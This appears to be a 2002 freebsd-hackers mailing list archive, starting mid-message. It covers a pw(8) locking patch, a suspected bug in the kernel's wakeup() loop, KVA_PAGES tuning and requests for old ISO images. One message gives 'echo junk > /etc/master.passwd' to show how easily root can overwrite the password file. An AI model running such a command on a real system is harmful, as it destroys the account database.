spake thus: > > In fact, if you look at fileupdate(), you see that it already gains > an exclusive lock on the temp file, but not the original > "/etc/master.passwd" (if you will.) I think this is a bug, because > the original is getting modified (at least in name space), so that > should be locked while pw(8) is operating. I'm not sure. Hm. I think that MAY prevent some of the corruption cases. On the other hand, we're really addressing a broader spectrum of issues here. The was pw(8) manipulates the passwd database is rather different from how chpass(1) or vipw(8) do it; this unifies it all (well, starts the process). Also, looking down, it seems that pw(8) will ALWAYS try to do a line-by-line copy of the temp file back into the main file, which would be Bad Bad Bad (tm); it does this because using rename() all the time loses the flock() lock. However, if we use this global locking, we can dispense with that, and remove some code complexity, to say nothing of a giant waste of time copying line-by-line. I'm trying to kill several birds with as small a stone as I can; I've had my eye on this whole subsystem for a while, and I'd really like to re-center it all around pw(8). vipw(8) kinda has to be its own beast, but chpass(1) and adduser(8)/rmuser(8) are prime candidates to be reworked to use pw(8) for their dirty work. Let's try this: updated patch for pw(8) including my global locking, the addition of flock()'ing both old and new files (it's not quite necessary, since it's all under a global lock, but it never hurts to double-check) as in your patch, and removing the line-by-line copy and using rename() all the time. (I suggest tabstop=4 or even =2; that file is *DEEP*) -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" --yudcn1FV7Hsu/q59 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="pw.diffs" Index: fileupd.c =================================================================== RCS file: /usr/cvs/src/usr.sbin/pw/fileupd.c,v retrieving revision 1.9 diff -u -r1.9 fileupd.c --- fileupd.c 26 Oct 1999 04:27:13 -0000 1.9 +++ fileupd.c 23 Jun 2002 19:22:16 -0000 @@ -76,7 +76,8 @@ if (pfxlen <= 1) rc = EINVAL; else { - int infd = open(filename, O_RDWR | O_CREAT, fmode); + int infd = open(filename, + O_RDWR | O_CREAT | O_EXLOCK | O_NONBLOCK, fmode); if (infd == -1) rc = errno; @@ -92,7 +93,8 @@ strcpy(file, filename); strcat(file, ".new"); - outfd = open(file, O_RDWR | O_CREAT | O_TRUNC | O_EXLOCK, fmode); + outfd = open(file, + O_RDWR | O_CREAT | O_TRUNC | O_EXLOCK | O_NONBLOCK, fmode); if (outfd == -1) rc = errno; else { @@ -169,27 +171,24 @@ rc = errno; /* Failed to update */ else { /* - * Copy data back into the + * Move data back into the * original file and truncate */ rewind(infp); rewind(outfp); - while (fgets(line, linesize, outfp) != NULL) - fputs(line, infp); /* - * If there was a problem with copying - * we will just rename 'file.new' - * to 'file'. - * This is a gross hack, but we may have - * corrupted the original file - * Unfortunately, it will lose the inode - * and hence the lock. + * Use rename() to move the new file over + * in place of the old file. This will + * lose the flock() locks we have, but + * this is all done inside the global + * passwd subsystem lock, so that's fine; + * it's also a lot more efficient, + * especially as the passwd file gets + * bigger and bigger, than copying a line + * at a time. */ - if (fflush(infp) == EOF || ferror(infp)) - rename(file, filename); - else - ftruncate(infd, ftell(infp)); + rename(file, filename); } } free(line); Index: pw.c =================================================================== RCS file: /usr/cvs/src/usr.sbin/pw/pw.c,v retrieving revision 1.26 diff -u -r1.26 pw.c --- pw.c 9 Jul 2001 09:24:01 -0000 1.26 +++ pw.c 23 Jun 2002 18:35:28 -0000 @@ -31,8 +31,10 @@ #include #include +#include #include #include +#include #include #include "pw.h" @@ -202,6 +204,12 @@ errx(EX_NOPERM, "you must be root to run this program"); /* + * Grab global lock before doing anything + */ + if(pid_begin(_PATH_PWDLOCK, _MODE_PWDLOCK, PID_NOBLOCK) < 0) + err(EX_UNAVAILABLE, "%s", _PATH_PWDLOCK); + + /* * We should immediately look for the -q 'quiet' switch so that we * don't bother with extraneous errors */ @@ -259,6 +267,10 @@ pw_log(cnf, mode, which, "NIS maps updated"); } } + + /* Release the lock */ + pid_end(_PATH_PWDLOCK); + return ch; } --yudcn1FV7Hsu/q59-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 13:14:26 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 4848E37B405 for ; Sun, 23 Jun 2002 13:14:17 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5NKECCV058637; Sun, 23 Jun 2002 13:14:12 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5NKE5x3058562; Sun, 23 Jun 2002 13:14:05 -0700 (PDT) (envelope-from dillon) Date: Sun, 23 Jun 2002 13:14:05 -0700 (PDT) From: Matthew Dillon Message-Id: <200206232014.g5NKE5x3058562@apollo.backplane.com> To: freebsd-hackers@freebsd.org Cc: Julian Elischer , Alan Cox , Tor.Egge@cvsup.no.freebsd.org Subject: Bug in wakeup() (stable and current) ? Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This doesn't look right at all. It looks like wakeup is not restarting properly: s = splhigh(); qp = &slpque[LOOKUP(ident)]; restart: TAILQ_FOREACH(p, qp, p_procq) { if (p->p_wchan == ident) { TAILQ_REMOVE(qp, p, p_procq); p->p_wchan = 0; if (p->p_stat == SSLEEP) { ... goto restart; } /* XXXXXX goto restart should occur HERE XXXXXX */ } } The goto restart condition should occur one level up, as I show in the comment. Could someone take a look at this and tell me if I am blowing smoke? -Matt Matthew Dillon Index: kern_synch.c =================================================================== RCS file: /home/ncvs/src/sys/kern/kern_synch.c,v retrieving revision 1.87.2.4 diff -u -r1.87.2.4 kern_synch.c --- kern_synch.c 14 Nov 2001 17:22:49 -0000 1.87.2.4 +++ kern_synch.c 23 Jun 2002 20:10:37 -0000 @@ -745,8 +745,8 @@ wakeup((caddr_t)&proc0); } /* END INLINE EXPANSION */ - goto restart; } + goto restart; } } splx(s); To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 13:19:38 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id D78A937B401 for ; Sun, 23 Jun 2002 13:19:33 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1192) id 84944AE160; Sun, 23 Jun 2002 13:19:33 -0700 (PDT) Date: Sun, 23 Jun 2002 13:19:33 -0700 From: Alfred Perlstein To: Matthew Dillon Cc: freebsd-hackers@freebsd.org, Julian Elischer , Alan Cox , Tor.Egge@cvsup.no.freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? Message-ID: <20020623201933.GM53232@elvis.mu.org> References: <200206232014.g5NKE5x3058562@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200206232014.g5NKE5x3058562@apollo.backplane.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Matthew Dillon [020623 13:14] wrote: > This doesn't look right at all. It looks like wakeup is not restarting > properly: > > s = splhigh(); > qp = &slpque[LOOKUP(ident)]; > restart: > TAILQ_FOREACH(p, qp, p_procq) { > if (p->p_wchan == ident) { > TAILQ_REMOVE(qp, p, p_procq); > p->p_wchan = 0; > if (p->p_stat == SSLEEP) { > ... > goto restart; > } > /* XXXXXX goto restart should occur HERE XXXXXX */ > } > } > > The goto restart condition should occur one level up, as I show in > the comment. > > Could someone take a look at this and tell me if I am blowing smoke? I'm pretty sure you only need to 'goto restart' if you call into maybe_resched() as someone else may have manipulated the queues. The 'restart' label is only in there for restarting in case one of the functions called may change the lists, if we restart _every_ time we'll traverse the same procs where p->p_wchan != ident over and over needlessly. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 13:20:45 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.deltanet.com (mail.deltanet.com [216.237.144.132]) by hub.freebsd.org (Postfix) with ESMTP id ECF6337B401 for ; Sun, 23 Jun 2002 13:20:39 -0700 (PDT) Received: from mammoth.eat.frenchfries.net (da001d0044.lax-ca.osd.concentric.net [64.0.144.45]) by mail.deltanet.com (8.11.6/8.11.6) with ESMTP id g5NJuQO01538 for ; Sun, 23 Jun 2002 12:56:28 -0700 Received: by mammoth.eat.frenchfries.net (Postfix, from userid 1000) id BC9215183; Sun, 23 Jun 2002 13:19:02 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by mammoth.eat.frenchfries.net (Postfix) with ESMTP id B9C2F5159; Sun, 23 Jun 2002 13:19:02 -0700 (PDT) Date: Sun, 23 Jun 2002 13:19:02 -0700 (PDT) From: Paul Herman X-X-Sender: pherman@mammoth.eat.frenchfries.net To: "Matthew D. Fuller" Cc: "Geoffrey C. Speicher" , Subject: Re: bug in pw, -STABLE [patch] In-Reply-To: <20020623192457.GJ81018@over-yonder.net> Message-ID: <20020623124243.H38673-100000@mammoth.eat.frenchfries.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 23 Jun 2002, Matthew D. Fuller wrote: > On Sun, Jun 23, 2002 at 11:32:54AM -0700 I heard the voice of > Paul Herman, and lo! it spake thus: > > > > In fact, if you look at fileupdate(), you see that it already gains > > an exclusive lock on the temp file, but not the original > > "/etc/master.passwd" (if you will.) I think this is a bug, because > > the original is getting modified (at least in name space), so that > > should be locked while pw(8) is operating. > > I think that MAY prevent some of the corruption cases. On the other > hand, we're really addressing a broader spectrum of issues here. The was > pw(8) manipulates the passwd database is rather different from how > chpass(1) or vipw(8) do it; this unifies it all (well, starts the > process). Also, looking down, it seems that pw(8) will ALWAYS try to do > a line-by-line copy of the temp file back into the main file, which would > be Bad Bad Bad (tm); I think you might have your infp confused with your outfp. It's not writing to the original "live" file, it's just writing the new temp file. That part of the code is OK. As for the giant lock, it would be like closing down the entire airport after someone finds a knife in the snack bar, and in my opinion an this is an unwise and brutal thing to do. Not to mention stale /var/run/ files that might be lying around... I do appreciate your work, but please don't commit this until the real issue is solved, and the dust settles. There still may be some use for it... plenty of time until the next release cycle. Geoff: Does the patch for fileupd.c in the last mail hinder the file corruption you are seeing? > (I suggest tabstop=4 or even =2; that file is *DEEP*) Yeeeess! :-) -Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 13:33: 4 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 4D85937B40A for ; Sun, 23 Jun 2002 13:32:36 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5NKWVCV063484; Sun, 23 Jun 2002 13:32:31 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5NKWVZW063483; Sun, 23 Jun 2002 13:32:31 -0700 (PDT) (envelope-from dillon) Date: Sun, 23 Jun 2002 13:32:31 -0700 (PDT) From: Matthew Dillon Message-Id: <200206232032.g5NKWVZW063483@apollo.backplane.com> To: Alfred Perlstein Cc: freebsd-hackers@FreeBSD.ORG, Julian Elischer , Alan Cox , Tor.Egge@cvsup.no.freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? References: <200206232014.g5NKE5x3058562@apollo.backplane.com> <20020623201933.GM53232@elvis.mu.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :I'm pretty sure you only need to 'goto restart' if you call into :maybe_resched() as someone else may have manipulated the queues. : :The 'restart' label is only in there for restarting in case one of :the functions called may change the lists, if we restart _every_ :time we'll traverse the same procs where p->p_wchan != ident over :and over needlessly. : :-Alfred Look at the code carefully. It's *removing* the element from the list, the conditionally restarting rather then removing the element from the list and unconditionally restarting. The only reason it works at all is because sys/queue.h does not clear out the pointers in the node that was just removed. The code is just plain wrong, though, because the queue mechanisms make no such (documented) guarentee. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 14: 6:56 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hardtime.linuxman.net (hardtime.linuxman.net [66.147.26.65]) by hub.freebsd.org (Postfix) with ESMTP id 9DD9737B410 for ; Sun, 23 Jun 2002 14:06:40 -0700 (PDT) Received: from mortis.over-yonder.net (localhost [127.0.0.1]) by hardtime.linuxman.net (8.11.6/8.11.6) with ESMTP id g5NKCPB02545; Sun, 23 Jun 2002 15:12:26 -0500 Received: by mortis.over-yonder.net (Postfix, from userid 100) id F0FA91F05; Sun, 23 Jun 2002 16:06:36 -0500 (CDT) Date: Sun, 23 Jun 2002 16:06:36 -0500 From: "Matthew D. Fuller" To: Paul Herman Cc: "Geoffrey C. Speicher" , freebsd-hackers@FreeBSD.ORG Subject: Re: bug in pw, -STABLE [patch] Message-ID: <20020623210636.GK81018@over-yonder.net> References: <20020623192457.GJ81018@over-yonder.net> <20020623124243.H38673-100000@mammoth.eat.frenchfries.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020623124243.H38673-100000@mammoth.eat.frenchfries.net> User-Agent: Mutt/1.4i-fullermd.1 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Jun 23, 2002 at 01:19:02PM -0700 I heard the voice of Paul Herman, and lo! it spake thus: > > I think you might have your infp confused with your outfp. It's > not writing to the original "live" file, it's just writing the new > temp file. That part of the code is OK. I'm talking about down around line 177 thru (unpatched), where it's copying back to the primary file. As it stands now (I hadn't realized in my prior reading) it's line-by-line'ing it: /* * Copy data back into the * original file and truncate */ rewind(infp); rewind(outfp); while (fgets(line, linesize, outfp) != NULL) fputs(line, infp); /* * If there was a problem with copying * we will just rename 'file.new' * to 'file'. * This is a gross hack, but we may have * corrupted the original file * Unfortunately, it will lose the inode * and hence the lock. */ if (fflush(infp) == EOF || ferror(infp)) rename(file, filename); else ftruncate(infd, ftell(infp)); which is Very Bad (tm) in that it's not very resilient against system crashes. The rename() solution is much safer. > As for the giant lock, it would be like closing down the entire > airport after someone finds a knife in the snack bar, and in my > opinion an this is an unwise and brutal thing to do. No, it's more like closing the snack bar while you clean it, rather than closing the first steam tray while cleaning that, then the second steam tray, then the third booth on the left side, then... That way, when you open the snack bar, you know that the whole thing is clean (or, depending on your skill and work ethic, at least equally dirty ;). In many passwd-manipulations, the file can't be safely modified in-place, so it has to be done out-of-place, then atomically shoved in, which requires a rename() or the ilk; the downside is that you can't flock() the file in question and handle that easily. One also has to consider the impact with other programs, potentially not written by us, that modify things; a wrapper lock on "changes to the auth information" is really the only way to ensure consistency; otherwise, you can't REALLY be sure that the passwd and group files are in sync, to say nothing of preventing crashes from mangling things. > Not to mention stale /var/run/ files that might be lying around... See the code I put in pid_begin() to handle just that case, that being the reason the function was written in the first place (otherwise, I could dispose of a lot of mess, and just use an empty file as a mutex for it). > I do appreciate your work, but please don't commit this until the > real issue is solved, and the dust settles. There still may be > some use for it... plenty of time until the next release cycle. Commit? How would I do that? :P -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 14:57:21 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from www.kozubik.com (www.kozubik.com [198.78.70.162]) by hub.freebsd.org (Postfix) with ESMTP id 3D76D37B403 for ; Sun, 23 Jun 2002 14:56:54 -0700 (PDT) Received: from localhost (john@localhost) by www.kozubik.com (8.11.0/8.11.0) with ESMTP id g5NLp9V68645; Sun, 23 Jun 2002 14:51:29 -0700 (PDT) (envelope-from john@kozubik.com) Date: Sun, 23 Jun 2002 14:51:09 -0700 (PDT) From: John Kozubik X-Sender: john@www To: Terry Lambert Cc: Patrick Thomas , Nielsen , hackers@FreeBSD.ORG Subject: Re: (jail) problem and a (possible) solution ? In-Reply-To: <3D14FF75.9772644D@mindspring.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Terry, Patrick, et al, > > What is the procedure in 4.5-RELEASE (please say "just change > > KVA_PAGES=260 to KVA_PAGES=512) (snip) > For 4.5, you have to hack ldscript.i386 and pmap.h. I've posted > on how to do this before (should be in the archives). Actually, in 4.5 you only need to set: options KVA_PAGES=512 and recompile your kernel. It looks like 4.5-RELEASE was the first release version to _not_ require hacking sys/i386/include/pmap.h and sys/conf/ldscript.i386. As you can see by looking at a 4.5-RELEASE pmap.h: #define NKPDE (KVA_PAGES - 2) /* addressable number of page tables/pde's */ #else #define NKPDE (KVA_PAGES - 1) /* addressable number of page tables/pde's */ the offsets that Terry spoke of are already in place. This is in contrast to 4.4-RELEASE: #define NKPDE 254 /* addressable number of page tables/pde's */ #else #define NKPDE 255 /* addressable number of page tables/pde's */ Where everything was hard coded to match the default KVA_PAGES value. Further, looking at ldscript.i386 we see in 4.5-RELEASE: . = kernbase + 0x00100000 + SIZEOF_HEADERS; whereas in 4.4-RELEASE and earlier, we saw: . = 0xc0100000 + SIZEOF_HEADERS; Which means that in 4.4 you had to change 0xc0100000 to 0x80100000 for a 2gig KVA. In 4.5, however, you don't have to change ldscript.i386 at all, because it is now a relative value that takes kernbase into account. ----- So, if you are running 4.0 - 4.4, you need to edit ldscript.i386 and change 0xc0100000 to 0x8010000 (for a 2gig KVA), then you need to edit pmap.h and change the two lines I pasted above from 254 and 255 to 510 and 511, respectively. Finally, you need to set: options KVA_PAGES=512 in your kernel config, then recompile your kernel. But, if you are running 4.5 or 4.6, from the code I pasted above, it looks like all you have to do is set: options KVA_PAGES=512 in your kernel config, then recompile your kernel. ----- Another explanation of this concept can be found here: http://www.kozubik.com/docs/original_kva_increase.txt I am posting today mainly to get a little more information stored in the archives. In addition, I myself have a question regarding the default settings of 4.5 and 4.6 - by looking at the NKPDE values in the 4.4-RELEASE version of pmap.h, the values of 254 and 255 indicate that they are hard coded for a default of KVA_PAGES=256, however 4.5 and 4.6 have a KVA_PAGES=260 setting in LINT, which I assume is also the default ... why the increase of 4 since 4.4-RELEASE ? ----- John Kozubik - john@kozubik.com - http://www.kozubik.com > > The pages are all going to be off-by-one from your calculations, for > the recursive page mapping, or off-by-two if your kernel is an SMP > kernel, for the per CPU page, so remember that, or you will end up > with a kernel that simply doesn't boot. > > The easiest way is to look at the numbers in pmap.h, and figure out > how they relate to 0xc0000000 (remember to OR in 0x00100000 after your > math, to count the kernel loading at 1M). > > -- Terry > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe > freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 14:59: 5 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from prism.flugsvamp.com (66-191-112-47.mad.wi.charter.com [66.191.112.47]) by hub.freebsd.org (Postfix) with ESMTP id 99CAF37B44B for ; Sun, 23 Jun 2002 14:58:40 -0700 (PDT) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.11.6/8.11.6) id g5NLw9c49030; Sun, 23 Jun 2002 16:58:09 -0500 (CDT) (envelope-from jlemon) Date: Sun, 23 Jun 2002 16:58:09 -0500 (CDT) From: Jonathan Lemon Message-Id: <200206232158.g5NLw9c49030@prism.flugsvamp.com> To: dillon@apollo.backplane.com, hackers@freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? X-Newsgroups: local.mail.freebsd-hackers In-Reply-To: References: Organization: Cc: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article you write: >:I'm pretty sure you only need to 'goto restart' if you call into >:maybe_resched() as someone else may have manipulated the queues. >: >:The 'restart' label is only in there for restarting in case one of >:the functions called may change the lists, if we restart _every_ >:time we'll traverse the same procs where p->p_wchan != ident over >:and over needlessly. >: >:-Alfred > > Look at the code carefully. It's *removing* the element from the list, > the conditionally restarting rather then removing the element from the > list and unconditionally restarting. The only reason it works at all > is because sys/queue.h does not clear out the pointers in the node > that was just removed. The code is just plain wrong, though, because > the queue mechanisms make no such (documented) guarentee. Looks like the original damage happened in r1.21, where the temporary variable (used to hold the next item on the list) was replaced by a dereference through the pointer of the item that was just removed. The code works simply because it relies TAILQ_REMOVE() not changing the tqe_next pointer. I suppose that this should either be documented, or the loop changed back to use a temp variable: for (td = TAILQ_FIRST(qp); td != NULL; td = tdq) { tdq = TAILQ_NEXT(td, td_slpq); ... } -- Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 15: 6:23 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from www.kozubik.com (www.kozubik.com [198.78.70.162]) by hub.freebsd.org (Postfix) with ESMTP id E5D0237B401 for ; Sun, 23 Jun 2002 15:06:19 -0700 (PDT) Received: from localhost (john@localhost) by www.kozubik.com (8.11.0/8.11.0) with ESMTP id g5NM1e173122; Sun, 23 Jun 2002 15:01:40 -0700 (PDT) (envelope-from john@kozubik.com) Date: Sun, 23 Jun 2002 15:01:40 -0700 (PDT) From: John Kozubik X-Sender: john@www To: Terry Lambert Cc: Patrick Thomas , Nielsen , hackers@FreeBSD.ORG Subject: Re: (jail) problem and a (possible) solution ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > ----- > > So, if you are running 4.0 - 4.4, you need to edit ldscript.i386 and > change 0xc0100000 to 0x8010000 (for a 2gig KVA), then you need to edit > pmap.h and change the two lines I pasted above from 254 and 255 to 510 and > 511, respectively. Finally, you need to set: > > options KVA_PAGES=512 An addendum - skip that last step (setting "options KVA_PAGES=512" in your kernel config) for versions 4.0-4.4, as it did not yet exist as a config option at that time. Again, for 4.5 and 4.6, adding that line to your kernel config is _all_ you need to do. If you are reading this from the archives, please see my previous post in this thread for specific details. ----- John Kozubik - john@kozubik.com - http://www.kozubik.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 15:21:22 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp.noos.fr (lafontaine.noos.net [212.198.2.72]) by hub.freebsd.org (Postfix) with ESMTP id 4F5FD37B400 for ; Sun, 23 Jun 2002 15:21:18 -0700 (PDT) Received: (qmail 5044091 invoked by uid 0); 23 Jun 2002 22:21:16 -0000 Received: from unknown (HELO gits.gits.dyndns.org) ([212.198.229.153]) (envelope-sender ) by 212.198.2.72 (qmail-ldap-1.03) with SMTP for ; 23 Jun 2002 22:21:16 -0000 Received: from gits.gits.dyndns.org (96qeg9z8q4hde4zn@localhost [127.0.0.1]) by gits.gits.dyndns.org (8.12.4/8.12.4) with ESMTP id g5NMLFnj003671; Mon, 24 Jun 2002 00:21:15 +0200 (CEST) (envelope-from root@gits.dyndns.org) Received: (from root@localhost) by gits.gits.dyndns.org (8.12.4/8.12.4/Submit) id g5NMLFQ0003670; Mon, 24 Jun 2002 00:21:15 +0200 (CEST) (envelope-from root) Date: Mon, 24 Jun 2002 00:21:15 +0200 From: Cyrille Lefevre To: Jefferson Harlough Cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD 2.2.x ISO images. Message-ID: <20020623222115.GB3249@gits.dyndns.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.99i Organization: ACME X-Face: V|+c;4!|B?E%BE^{E6);aI.[< List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Jun 23, 2002 at 06:19:43PM +0000, Jefferson Harlough wrote: > Where might I find ISO images for the FreeBSD 2.2.x releases? Do such > files exist? > > I have an older system with a non-IDE Creative CD-ROM drive, and FreeBSD > 4.x seems to not support that drive any more. I do have several FreeBSD 3.x > releases, but they always hang with a kernel panic when booting via the > included bootdisks. Would the FreeBSD 2.2.x series of releases work with > such a CD-ROM drive? don't know, but I have all 2.2.8 CDROMs at home. Cyrille. -- Cyrille Lefevre mailto:cyrille.lefevre@laposte.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 15:53:19 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.deltanet.com (mail.deltanet.com [216.237.144.132]) by hub.freebsd.org (Postfix) with ESMTP id 4169037B400 for ; Sun, 23 Jun 2002 15:53:12 -0700 (PDT) Received: from mammoth.eat.frenchfries.net (da001d0242.lax-ca.osd.concentric.net [64.0.144.243]) by mail.deltanet.com (8.11.6/8.11.6) with ESMTP id g5NMT2O29467 for ; Sun, 23 Jun 2002 15:29:05 -0700 Received: by mammoth.eat.frenchfries.net (Postfix, from userid 1000) id 3517F57C7; Sun, 23 Jun 2002 15:51:46 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by mammoth.eat.frenchfries.net (Postfix) with ESMTP id 2F9625183; Sun, 23 Jun 2002 15:51:46 -0700 (PDT) Date: Sun, 23 Jun 2002 15:51:46 -0700 (PDT) From: Paul Herman X-X-Sender: pherman@mammoth.eat.frenchfries.net To: "Matthew D. Fuller" Cc: "Geoffrey C. Speicher" , Subject: Re: bug in pw, -STABLE [patch] In-Reply-To: <20020623210636.GK81018@over-yonder.net> Message-ID: <20020623150105.T38873-100000@mammoth.eat.frenchfries.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 23 Jun 2002, Matthew D. Fuller wrote: > I'm talking about down around line 177 thru (unpatched), where it's > copying back to the primary file. > [...] > which is Very Bad (tm) in that it's not very resilient against > system crashes. The rename() solution is much safer. Ah, now I see, thanks. No contention there, we are in total agreement that this is a Bad Thing, and that rename() is sufficient. > No, it's more like closing the snack bar while you clean it, > rather than closing the first steam tray while cleaning that, > then the second steam tray, then the third booth on the left > side, then... OK, you can change the analogy, but you're still closing the snack bar, and you turn away customers. Most 24 hour snack bars clean each table at a time as each one frees up. Moral of that story: This would mean for pw(8) that I can't update the system passwords and the passwords in all my jails at the same time. There is no reason to enforce that policy. Back to the situation at hand. You make a few points that should be clarified, I'll summarize them in Q&A format: Q: rename() is good, but you can't flock() the file in question and handle it easily, can you? A: Indeed, you can. flocks() are even preserved across renames. Consider: lockf -k foo sleep 60 & mv foo bar lockf -t 1 -k bar true The second lockf will error. Q: What about other programs not written by us that modify things? A: Agreed, this is a problem. However, no system in place will prevent at any time anyone with the proper credentials from doing: echo junk > /etc/master.passwd At least if the programs in the base agree on a system (be it flock() or /var/run lock) it will work for the base system. This doesn't speak for or against any one method. Yes, a lock on "changes to the auth information" is the only way to ensure consistency, which is what this is all about, but HOW to accomplish this issue at hand. > Commit? How would I do that? :P Sorry, it wasn't as much directed at you as it was more of a general plea. Kind of like this one: Why use lockfiles, when we can lock files? Let's lock files and keep the snack bar open! :-) -Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 16: 9:34 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hardtime.linuxman.net (hardtime.linuxman.net [66.147.26.65]) by hub.freebsd.org (Postfix) with ESMTP id 3317E37B401 for ; Sun, 23 Jun 2002 16:09:27 -0700 (PDT) Received: from mortis.over-yonder.net (localhost [127.0.0.1]) by hardtime.linuxman.net (8.11.6/8.11.6) with ESMTP id g5NMFJB04634; Sun, 23 Jun 2002 17:15:20 -0500 Received: by mortis.over-yonder.net (Postfix, from userid 100) id 285161F06; Sun, 23 Jun 2002 18:09:24 -0500 (CDT) Date: Sun, 23 Jun 2002 18:09:23 -0500 From: "Matthew D. Fuller" To: Paul Herman Cc: "Geoffrey C. Speicher" , 